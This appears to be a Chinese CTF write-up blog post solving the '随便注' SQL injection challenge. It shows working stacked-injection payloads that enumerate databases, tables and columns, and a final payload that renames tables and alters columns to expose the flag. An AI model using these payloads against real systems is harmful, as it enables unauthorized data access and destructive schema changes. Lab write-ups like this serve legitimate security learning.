BUU WEB [强网杯 2019]随便注

打开网页,只有一个1,直接提交回显出数据,提交2回显数据,提交其他的就没有回显了。
在这里插入图片描述
根据题目“随便注”初步判断它应该是一个SQL注入,尝试一下 1’ ,报错:
在这里插入图片描述
说明我们的判断是正确的,接下来就是正常程序:
order by报字段数:

1' order by 2 #

在这里插入图片描述
到三时报错,说明有两个字段,
联合查询报库名:

1' union select1,2#

在这里插入图片描述
得到的回复却是他过滤了一些关键字。
关于preg_match函数可参考菜鸟教程:
https://www.runoob.com/php/php-preg_match.html

但是他没有过滤show,我们可以尝试一下堆叠注入:

1';show databases;#

在这里插入图片描述
回显出数据,说明可以使用堆叠注入,接下来用堆叠注入来差表名:

1';show tables;#

在这里插入图片描述
得到两个表名,以此查询两个表的字段:

1';show columns from `1919810931114514`;#

1';show columns from words;#

1919810931114514表:
在这里插入图片描述
words表:
在这里插入图片描述
因为很多关键字被过滤的,正常的查询数据库数据的语句没办法使用,接下来就该充分发挥网络的作用啦!

经我查WP得到,需要来点骚操作:

首先我们通过这两个表的字段,我们可以发现,最上边回显的内容是words表中的id和data两列的数据,所以我们是不是可以想办法把words表中的某列内容给替换成flag,将flag换进words里或者直接让他回显1919810931114514表中的内容。
因为本菜鸡知识的限制,再加上并没有在网上找到第一种的解法,我猜测是这种解法中的某个关键字在过滤表中,或者根本没有这个语句,或者没法使用这个语句(SQL语句我已经忘得差不多了,若有大佬指点则感激不尽!)。
所以这里我们使用第二种方法,让他回显1919810931114514表中的数据,更改默认显示表不现实,那就把这个表改一下名字,让他变成words表来显示出flag。
具体实施就是:

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words ;#

先将words表的名字修改了,改为words1(其他什么都可以),因为表不能同名,然后把1919810931114514表名改为words,再将字段flag改为id(如果改为data的话需要再加一列id)
在这里插入图片描述
修改成功后,再输入万能密码就会得到flag了。
在这里插入图片描述
再查表就会发现表已经被修改了:
在这里插入图片描述

还有一种预处理的方式,本菜鸡并未整明白,有兴趣了解学习的请参考这篇文章:
https://www.cnblogs.com/wjw-zm/p/12359735.html
(若作者介意请私信联系删除!!!)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值